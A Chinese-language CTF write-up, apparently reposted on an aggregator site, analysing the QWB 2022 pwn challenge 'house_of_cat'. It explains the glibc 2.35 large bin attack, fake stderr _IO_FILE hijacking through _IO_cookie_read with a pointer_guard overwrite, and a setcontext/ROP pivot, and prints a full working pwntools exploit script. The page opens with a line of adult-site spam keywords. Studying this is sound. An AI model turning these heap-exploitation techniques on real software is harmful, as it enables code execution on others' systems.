国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat

這篇具有很好參考價(jià)值的文章主要介紹了強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

這道題在pwn方向是做出來的隊(duì)伍最多的一道題,但由于筆者之前對(duì)于高版本glibc的_IO_FILE攻擊方式不甚了解,因此比賽的時(shí)候跳過了。本文就對(duì)該題進(jìn)行從原理到實(shí)戰(zhàn)的詳細(xì)分析,幫助讀者理解本題使用過的攻擊方式。

house_of_cat

本題使用的glibc版本是2.35,是目前ubuntu 22.04上最新的glibc版本。因此本題的調(diào)試與做題環(huán)境為:Ubuntu 22.04。

本題的漏洞利用方式為house of apple,這是一種基于large bin attack的_IO_FILE攻擊方式。那么首先我們就需要了解large bin attack和_IO_FILE利用這兩個(gè)基礎(chǔ)知識(shí)。

前置知識(shí)1——高版本libc的large bin attack

large bin attack從2.23版本到2.35版本,一直是一種沒有被解決的利用方式,在高版本的libc中,large bin attack的具體方式與低版本區(qū)別并不大,利用原理也是相同的。不過與2.23和2.27版本不同,2.30及以上版本在_int_malloc函數(shù)中對(duì)于large bin新增了兩個(gè)檢查:(截圖來自這里)

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
下面我們通過how2heap簡(jiǎn)單看一下2.35版本的large bin attack是如何實(shí)現(xiàn)的。

Since glibc2.30, two new checks have been enforced on large bin chunk insertion

Check 1 : 
>    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
>        malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 : 
>    if (bck->fd != fwd)
>        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below : 

====================================================================

Here is the target we want to overwrite (0x7ffc96dca630) : 0

First, we allocate a large chunk [p1] (0x564fd9bdc290)
And another chunk to prevent consolidate

We also allocate a second large chunk [p2]  (0x564fd9bdc6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate

Free the larger of the two --> [p1] (0x564fd9bdc290)
Allocate a chunk larger than [p1] to insert [p1] into large bin

Free the smaller of the two --> [p2] (0x564fd9bdc6e0)
At this point, we have one chunk in large bin [p1] (0x564fd9bdc290),
               and one chunk in unsorted bin [p2] (0x564fd9bdc6e0)

Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc96dca610)

Finally, allocate another chunk larger than [p2] (0x564fd9bdc6e0) to place [p2] (0x564fd9bdc6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
  the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x564fd9bdc6e0) into largebin, [p1](0x564fd9bdc290)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (0x564fd9bdc6e0)

In out case here, target is now overwritten to address of [p2] (0x564fd9bdc6e0), [target] (0x564fd9bdc6e0)
Target (0x7ffc96dca630) : 0x564fd9bdc6e0

====================================================================

以上就是程序的輸出結(jié)果??梢钥吹狡淅玫姆绞椒浅:?jiǎn)單,前提條件是:

  1. large bin中有1個(gè)chunk,unsorted bin中有一個(gè)chunk(如果被鏈入到large bin中需要與前面的chunk鏈到一個(gè)bin中),且large bin中的比unsorted bin中的大。
  2. 可以修改large bin中chunk的bk_nextsize指針。

當(dāng)我們分配一個(gè)大chunk使得unsorted bin中的chunk被鏈入到large bin時(shí),由于原先的large bin chunk比這個(gè)chunk大,所以居于其后(對(duì)large bin鏈入過程不清楚的讀者可以先看這里),這就繞過了添加的兩個(gè)檢查,能夠成功將原large bin chunk中的bk_nextsize->fd_nextsize修改為新鏈入的chunk地址,即實(shí)現(xiàn)了任一地址寫一個(gè)堆地址。

前置知識(shí)2——_IO_FILE

在之前的文章中分析過,這里就不費(fèi)筆墨了。在這篇文章中也有簡(jiǎn)要的介紹。


既然large bin attack可以實(shí)現(xiàn)任意地址寫,如果我們將_IO_list_all的值修改為一個(gè)堆地址,那我們豈不是可以控制_IO_FILE結(jié)構(gòu)體的執(zhí)行流了嗎?現(xiàn)在,我們就回到這道題本身來進(jìn)行分析。

Step 1: 逆向分析

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
這道題的漏洞很好找,就在delete_cat這個(gè)函數(shù)中,刪除操作中的free并未清空指針,因此有UAF漏洞。不過在能夠操作菜單之前,我們還需要進(jìn)行登錄操作。這一部分的分析不難,按照函數(shù)的執(zhí)行流程進(jìn)行分析調(diào)試就能夠獲取到成功登錄的字符串輸入格式。最終通過login函數(shù)成功登錄的字符串為:LOGIN | r00t QWB QWXFadmin\x00

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
在進(jìn)入菜單之后,我們還需要通過某些檢查。這些檢查也不難通過,輸入字符串為:CAT | r00t QWB QWXF\xFF$

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
重點(diǎn)就在于菜單的四種操作。添加是正常的添加操作,只不過每一次添加的chunk可寫部分大小必須在0x418到0x470之間,這是屬于large bin的范圍,因此本題和tcache無關(guān)。

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
然后是編輯功能,每一次只能編輯chunk可寫部分的前30個(gè)字節(jié)而不能控制所有字節(jié)。

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
show與edit相同,也是只能展示前30字節(jié)。

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
由于本題中的delete函數(shù)有UAF漏洞,因此我們只要show一個(gè)free chunk就能夠輕松獲取到libc和堆地址。因此進(jìn)行一次large bin attack并不是什么難事。但關(guān)鍵在于,我們應(yīng)該如何構(gòu)造假的_IO_FILE結(jié)構(gòu)體。注意,本題中使用了沙箱,我們不能直接調(diào)用system函數(shù)getshell,因此還需要借用setcontext函數(shù)。

Step 2: 漏洞分析

本文主要參考Nu1L師傅的wp進(jìn)行分析。其使用了__malloc_assert函數(shù)作為跳板進(jìn)行漏洞利用。首先我們需要知道這個(gè)函數(shù)在何處被調(diào)用。

// malloc.c line 292
# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

在malloc.c中我們可以找到,這里的__assert_fail就是__malloc_assert,即在這里調(diào)用assert_fail就相當(dāng)于調(diào)用__malloc_assert。而__assert_fail是在assert函數(shù)中被調(diào)用,因此只需要找到在malloc函數(shù)中何處調(diào)用了assert函數(shù)即可。但assert函數(shù)調(diào)用的地方實(shí)在太多,我們應(yīng)該選擇哪一個(gè)呢?注意在_int_malloc函數(shù)中,所有針對(duì)堆的檢查錯(cuò)誤信息打印都是使用malloc_printerr函數(shù)而非assert。因此我們選擇_int_malloc函數(shù)調(diào)用的sysmalloc函數(shù)。在sysmalloc函數(shù)中有檢查是使用assert來實(shí)現(xiàn)的,而在_int_malloc函數(shù)中只有當(dāng)完全確認(rèn)釋放的chunk無法滿足申請(qǐng)需求且top chunk的大小也小于申請(qǐng)大小時(shí)才會(huì)調(diào)用sysmalloc函數(shù)。我們首先分析一下進(jìn)入sysmalloc函數(shù)之后應(yīng)該如何做才能拿到flag,至于如何調(diào)用sysmalloc函數(shù),則是堆塊排布方面的事情了,我們?cè)诤竺嬉矔?huì)提到。

sysmalloc函數(shù)中,有這樣一條assert語句:

// malloc.c line 2617
  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

這是用來檢查top chunk的一些屬性,其中注意最后一行,top chunk必須頁對(duì)齊。如果這里的top chunk沒有滿足頁對(duì)齊,那么就會(huì)調(diào)用__assert_fail函數(shù),也即__malloc_assert函數(shù)。而在__malloc_assert函數(shù)中,經(jīng)過調(diào)試發(fā)現(xiàn),漏洞利用是發(fā)生在調(diào)用__fxprintf中而非fflush函數(shù)。這是因?yàn)楫?dāng)我們執(zhí)行到assert失敗時(shí),_IO_FILE應(yīng)該已經(jīng)被我們修改,而__fxprintf作為一個(gè)需要將字符串輸出到控制臺(tái)的函數(shù),必然會(huì)調(diào)出stderr文件描述符進(jìn)行輸出。但這個(gè)時(shí)候只有我們自己偽造的_IO_FILE指針,只要我們構(gòu)造好假的stderr,就有可能實(shí)現(xiàn)任意代碼執(zhí)行。

筆者仔細(xì)研究了一下本題的利用思路,發(fā)現(xiàn)這是典型的house of emma利用方法。(資料參考)

經(jīng)過筆者多次調(diào)試跟蹤,最終發(fā)現(xiàn)程序在__vfprintf_internal+0x280處調(diào)用了vtable+0x38處的函數(shù),其第一個(gè)參數(shù)rdi指向的是偽造的stderr

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
查看vtable類型的源碼聲明:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

可以看到,這里本意實(shí)際是想要調(diào)用結(jié)構(gòu)體中偏移為0x38的成員,即_IO_xsputn_t函數(shù)。
又找到_IO_cookie_jumps結(jié)構(gòu)體:

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_cookie_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};

其中注意到有一個(gè)_IO_cookie_read函數(shù),我們查看一下這個(gè)函數(shù)在IDA中的匯編:

.text:000000000007F7B0 ; __unwind {
.text:000000000007F7B0                 endbr64
.text:000000000007F7B4                 mov     rax, [rdi+0E8h]
.text:000000000007F7BB                 ror     rax, 11h
.text:000000000007F7BF                 xor     rax, fs:30h
.text:000000000007F7C8                 test    rax, rax
.text:000000000007F7CB                 jz      short loc_7F7D6
.text:000000000007F7CD                 mov     rdi, [rdi+0E0h]
.text:000000000007F7D4                 jmp     rax
.text:000000000007F7D6 ; ---------------------------------------------------------------------------
.text:000000000007F7D6
.text:000000000007F7D6 loc_7F7D6:                              ; CODE XREF: sub_7F7B0+1B↑j
.text:000000000007F7D6                 mov     rax, 0FFFFFFFFFFFFFFFFh
.text:000000000007F7DD                 retn

注意到這里有一個(gè)jmp rax,實(shí)際上就是jmp [rdi+0E8h]。而這里的rdi就是偽造的stderr,因此我們只需要在假stderr后面的特定位置寫入_IO_cookie_jumps+0x38就可以保證執(zhí)行到_IO_cookie_read函數(shù),然后在假stderr+0xE8的位置寫入正確的值就能夠使得jmp rax跳轉(zhuǎn)到我們想要的地方去。不過在此之前我我們可以看到_IO_cookie_read函數(shù)對(duì)rax的值做了一些修改,即上述代碼中的ror指令和xor指令。這實(shí)際上是高版本glibc新增加的一種保護(hù)措施:

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

注意這里的PTR_DEMANGLE函數(shù),就是ror/xor指令的實(shí)現(xiàn),其實(shí)質(zhì)是:

#  define PTR_DEMANGLE(var)	asm ("ror $2*" LP_SIZE "+1, %0\n"	      \
				     "xor %%fs:%c2, %0"			      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

注意:在/sysdeps/unix/sysv/linux/x86_64/sysdep.h文件中有4個(gè)關(guān)于PTR_DEMANGLE函數(shù)的聲明,但通過查看源碼可知最有可能采用的就是上面的這個(gè)宏定義。通過源碼可知第一條語句ror循環(huán)右移的位數(shù)為11,而第二條語句xor rax, fs:30h中的fs:30h應(yīng)該指的就是tcbhead_t.pointer_guard這個(gè)東西。

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int unused_vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

這是tcbhead_t的聲明,可以看到除了pointer_guard之外,這里面還定義有stack_guard,合理猜測(cè)這應(yīng)該是用于canary。經(jīng)過驗(yàn)證發(fā)現(xiàn)確實(shí)如此,函數(shù)開頭的mov rax, fs:28h取的就是stack_guard的值。因此這里的fs:30h也就是pointer_guard的值。我們并不能讀取原來的pointer_guard,但我們能通過large bin attack將這里的值修改為一個(gè)已知的值,這樣我們就可以自行對(duì)想要執(zhí)行的地址進(jìn)行處理,經(jīng)過_IO_cookie_read函數(shù)右移處理后變成正確的代碼地址。那么tcbhead_t這個(gè)結(jié)構(gòu)體在什么地方呢?實(shí)際上這個(gè)結(jié)構(gòu)體并不在libc中,而是在緊鄰libc低地址處的一塊內(nèi)存空間中(見下圖),其與libc起始地址的偏移為-0x28c0。但這個(gè)值是在wp中的exp出現(xiàn)的,如果是我們自己做題,又應(yīng)該如何獲得這個(gè)值呢?前面提到pointer_guardstack_guard相鄰。我們?cè)诔绦蛘{(diào)試的時(shí)候可以將斷點(diǎn)下在函數(shù)開頭獲取stack_guard的地方——mov rax, fs:0x28,獲得stack_guard的值后再對(duì)內(nèi)存空間進(jìn)行搜索,這樣就可以輕松找到tcbhead_t結(jié)構(gòu)體了。

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
在本題中,我們可以通過large bin attack輕松修改這里的值,由此我們就可以在fake stderr+0xE8處寫入處理后的地址值,然后就可以實(shí)現(xiàn)任意地址執(zhí)行。由于本題開啟了沙箱,因此這里容易想到跳轉(zhuǎn)到一個(gè)稱為pcop的gadget,由于在新版本libc中setcontext函數(shù)中對(duì)rsp賦值的地址不再由rdi取值,因此需要這一個(gè)gadget將rdx賦值,其中的rdi附近內(nèi)存是我們可控的,因此通過這個(gè)gadget地址我們就可以控制rdx的值:

.text:00000000001675B0                 mov     rdx, [rdi+8]
.text:00000000001675B4                 mov     [rsp+0C8h+var_C8], rax
.text:00000000001675B8                 call    qword ptr [rdx+20h]

我們可以將rdx賦值為一個(gè)可控的內(nèi)存空間地址,然后通過call指令跳轉(zhuǎn)到setcontext函數(shù)中就可以成功實(shí)現(xiàn)棧遷移。

現(xiàn)在我們已經(jīng)搞清楚了如何通過假的stderr實(shí)現(xiàn)任意代碼執(zhí)行,但我們應(yīng)該如何替換stderr呢?前面提到,我們需要使用一次large bin attack修改pointer_guard的值,在這里,我們還需要再進(jìn)行一次large bin attack直接修改stderr的值。注意到large bin的前32個(gè)bin所保存的chunk的大小差值為0x40,即大小在0x400~0x430的chunk保存在第一個(gè)large bin,而0x440~0x470則保存在第二個(gè)large bin中,兩個(gè)相鄰的bin中保存的最小chunk的大小之差為0x40。從本題可以分配的chunk大小可知,我們一共可以進(jìn)行2次large bin attack,這兩次攻擊應(yīng)發(fā)生在不同的bin中。

現(xiàn)在,我們也已經(jīng)有了辦法替換stderr,但還有最后一個(gè)問題:如何才能讓top chunk縮???根據(jù)本題的UAF漏洞不難聯(lián)想,這一題應(yīng)該是想要讓我們通過UAF漏洞修改top chunk的大小。具體的步驟如下:

我們需要首先分配兩個(gè)相鄰chunk,假設(shè)大小均為0x440,并在其高地址處分配至少一個(gè)chunk暫時(shí)防止與top chunk合并。然后釋放兩個(gè)相鄰chunk,釋放后二者會(huì)進(jìn)行合并。此時(shí)再次分配一個(gè)大小為0x430的chunk和一個(gè)0x450的chunk重新獲取這兩個(gè)chunk的內(nèi)存空間,修改原來被釋放的chunk的頭部。由于我們還保存著原來chunk的指針,因此可以再一次釋放這個(gè)chunk,使其與top chunk直接合并,然后繼續(xù)編輯就可以成功修改top chunk的大小。

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat

Step 3: 編寫exp

為了行文邏輯流暢,這里先將exp貼出來,然后再對(duì)其中細(xì)節(jié)進(jìn)行深入分析:

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./house_of_cat')
elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')
main_arena_base = 0x219C80


def add_cat(index, size, content):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'1')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    io.sendlineafter(b'plz input your cat size:\n', str(size).encode())
    io.sendafter(b'plz input your content:\n', content)


def delete_cat(index):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'2')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def show_cat(index):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'3')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def edit_cat(index, content):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'4')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    io.sendlineafter(b'plz input your content:\n', content)


io.sendlineafter(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00')  # admin = 1

# add_cat(0, 0x430, b'colin')
add_cat(1, 0x428, b'colin')
add_cat(2, 0x430, b'colin')
add_cat(4, 0x418, b'colin')
add_cat(5, 0x440, b'colin')

delete_cat(1)
show_cat(1)
io.recv(9)
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
base = main_arena - main_arena_base
stderr = base + libc.symbols['stderr']
tcbhead_t = base - 0x28C0
_IO_cookie_jumps = base + 0x215B80
print(hex(base))

add_cat(3, 0x440, b'colin')

delete_cat(4)
show_cat(1)
io.recv(25)
heap_base = u64(io.recv(6) + b'\x00\x00') - 0x290

edit_cat(1, p64(main_arena + 1104) * 2 + p64(0) + p64(tcbhead_t + 0x10))
add_cat(0, 0x430, b'colin')
pointer_guard = heap_base + 0xB00
print(hex(pointer_guard))
print(hex(heap_base))

# some useful gadgets
pcop = 0x1675B0 + base
pop_rdi = 0x2A3E5 + base
pop_rsi = 0x2BE51 + base
pop_rdx_rbx = 0x90529 + base
pop_rax = 0x45EB0 + base
syscall = 0x91396 + base
print(hex(pcop))
encrypted_addr = ((pcop ^ pointer_guard) << 0x11) & ((1 << 64) - 1) + \
                 (((pcop ^ pointer_guard) & (((1 << 64) - 1) - ((1 << 47) - 1))) >> 47)

# create fake _IO_FILE struct for fake stderr
payload = FileStructure()
payload.vtable = _IO_cookie_jumps + 0x38  # address of _IO_file_xsputn, vtable + 0x38 = _IO_cookie_read
payload._lock = base + 0x21BA70  # _IO_stdfile_1_lock
payload = bytes(payload)[0x10:]
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(encrypted_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(0)
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(0) * 2
payload += p64(base + libc.symbols['setcontext'] + 61)

# use SigReturn frame to set rsp and rcx
frame = SigreturnFrame()
frame.rsp = heap_base + 0x28F0 + 0x300
frame.rip = pop_rdi + 1
payload += flat(frame)[0x28:]
payload = payload.ljust(0x300, b'\x00')

# construct ROP chain
# close the stdin, and it will reopen automatically
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(base + libc.symbols['close'])

# open file ./flag
payload += p64(pop_rdi)
payload += p64(heap_base + 0x28F0 + 0x400)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)  # syscall code for open
payload += p64(syscall)

# read file ./flag to heap
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['read'])

# write content in ./flag
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['write'])

payload = payload.ljust(0x400) + b'./flag\x00'

add_cat(6, 0x430, b'colin')
add_cat(7, 0x450, b'colin')
add_cat(8, 0x430, b'colin')
add_cat(9, 0x440, payload)
add_cat(10, 0x430, b'colin')
delete_cat(6)
delete_cat(7)

add_cat(11, 0x460, b'\x00' * 0x430 + p64(0) + p64(0x461))
add_cat(12, 0x420, b'\x00')
delete_cat(7)

add_cat(13, 0x450, b'\x00' * 0x20 + p64(0) + p64(0x1101))
delete_cat(7)
add_cat(14, 0x460, b'\x00')
delete_cat(9)
delete_cat(12)
delete_cat(14)

# delete_cat(11)
edit_cat(7, p64(base + 0x21A0E0) * 2 + p64(0) + p64(base + libc.symbols['stderr'] - 0x20) + p64(0) + p64(0x201))
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'1')
io.sendlineafter(b'plz input your cat idx:\n', b'15')
# gdb.attach(io)
# time.sleep(1)
io.sendlineafter(b'plz input your cat size:\n', b'1129')
io.interactive()

前面的交互就不用說了,首先是釋放chunk 1和4獲取到libc和heap地址,并順便使用0x400~0x430的large bin的large bin attack修改tcbhead_t結(jié)構(gòu)體中的pointer_guardpcop變量就是前面提到的pcop地址,encrypted_addr就是處理后的地址,經(jīng)過_IO_cookie_read函數(shù)處理后能夠變成pcop地址。

在payload中首先是_IO_FILE結(jié)構(gòu)體,可以使用pwntools自帶的FileStructure類進(jìn)行聲明,如果需要將其轉(zhuǎn)為字節(jié)可使用bytes()函數(shù)進(jìn)行處理。這里需要注意我們舍去了_IO_FILE的前0x10字節(jié),因?yàn)閘arge bin attack只能夠?qū)hunk地址寫到stderr中,在可寫頭前面還有prev_sizesize字段,為了保證對(duì)齊,需要舍棄_IO_FILE結(jié)構(gòu)體的前0x10字節(jié)。

_IO_FILE結(jié)構(gòu)體后加上這個(gè)地方的堆地址和處理后的pcop地址,能夠保證_IO_cookie_read函數(shù)能夠跳轉(zhuǎn)到pcop中。以0x100對(duì)齊后加上setcontext函數(shù)地址使得pcop能夠調(diào)用到setcontext函數(shù)。

setcontext后面緊跟SigReturnFrame結(jié)構(gòu)體,這個(gè)結(jié)構(gòu)體本來是用作系統(tǒng)調(diào)用sysreturn的,這里使用是因?yàn)槠渲?code>rsp和rip的值正好能夠?qū)?yīng)上setcontext函數(shù)中的相關(guān)指令,能夠通過修改SigReturnFrame結(jié)構(gòu)體使得setcontextrsp修改為我們想要棧遷移的地址,rip修改為我們想要跳轉(zhuǎn)到的地址。注意這里的SigReturnFrame結(jié)構(gòu)體舍棄了前面的0x28字節(jié),原因與_IO_FILE舍棄前0x10字節(jié)類似,都是為了對(duì)齊。

在此之后就是ROP鏈,將rsp設(shè)置到這里,待setcontext返回后即可在這里繼續(xù)執(zhí)行,后面就是常規(guī)的orw。

強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat
成功getshell。

總結(jié)

理解本題的關(guān)鍵在于理解函數(shù)調(diào)用鏈:
calloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->...->_IO_cookie_read->pcop->setcontext->ROP文章來源地址http://www.zghlxwxcb.cn/news/detail-454097.html

到了這里,關(guān)于強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • House Of Force

    House Of Force

    House Of Force 首先介紹一下什么是House Of Force House Of Force 是一種堆利用方法,但是并不是說 House Of Force 必須得基于堆漏洞來進(jìn)行利用。如果一個(gè)堆 (heap based) 漏洞想要通過 House Of Force 方法進(jìn)行利用,需要以下條件: 能夠以溢出等方式控制到 top chunk 的 size 域 能夠自由地控制堆

    2024年04月22日
    瀏覽(14)
  • ciscn2022-線上-半決-pwn

    ciscn2022-線上-半決-pwn

    一個(gè)簡(jiǎn)單的可見字符shellcode 用杭電師傅的工具直接出shellcode,直接寫進(jìn)出就可以拿到shell。 epx: number是4個(gè)字節(jié),后面malloc的參數(shù)也是4個(gè)字節(jié),可以利用溢出使number很大,然后malloc申請(qǐng)的大小也在一個(gè)合理的范圍之內(nèi)。 malloc函數(shù)的實(shí)現(xiàn)會(huì)根據(jù)分配內(nèi)存的size來決定使用哪個(gè)分配

    2024年02月06日
    瀏覽(36)
  • 2022CTF培訓(xùn)(九)MIPS PWN環(huán)境搭建&MIPS PWN入門

    2022CTF培訓(xùn)(九)MIPS PWN環(huán)境搭建&MIPS PWN入門

    附件下載鏈接 在 ARM PWN 環(huán)境搭建 的基礎(chǔ)上,首先安裝具備MIPS交叉編譯gcc與MIPS程序動(dòng)態(tài)鏈接庫: 然后就可以正常運(yùn)行 將 mipsel 添加到 qqemu-binfmt,這樣 linux 可以根據(jù)文件頭找相應(yīng)的程序運(yùn)行: 棧溢出 分析匯編可知,返回值存儲(chǔ)在 $sp + 0x3C 處,而 buf 起始位置在 $sp + 0x18 處,

    2024年02月11日
    瀏覽(32)
  • 2022級(jí)云曦實(shí)驗(yàn)室考試(一)pwn

    2022級(jí)云曦實(shí)驗(yàn)室考試(一)pwn

    講真,俺都不知道pwn是啥,等俺搜搜! CTF中的pwn指的是通過通過程序本身的漏洞,編寫利用腳本破解程序拿到主機(jī)的權(quán)限,這就需要對(duì)程序進(jìn)行分析,了解操作系統(tǒng)的特性和相關(guān)漏洞,是是一個(gè)難度比較大的分支。 一.NC NC:的使用 nc的全名是netcat,其主要用途是建立和監(jiān)聽任

    2024年02月06日
    瀏覽(21)
  • 【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

    【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

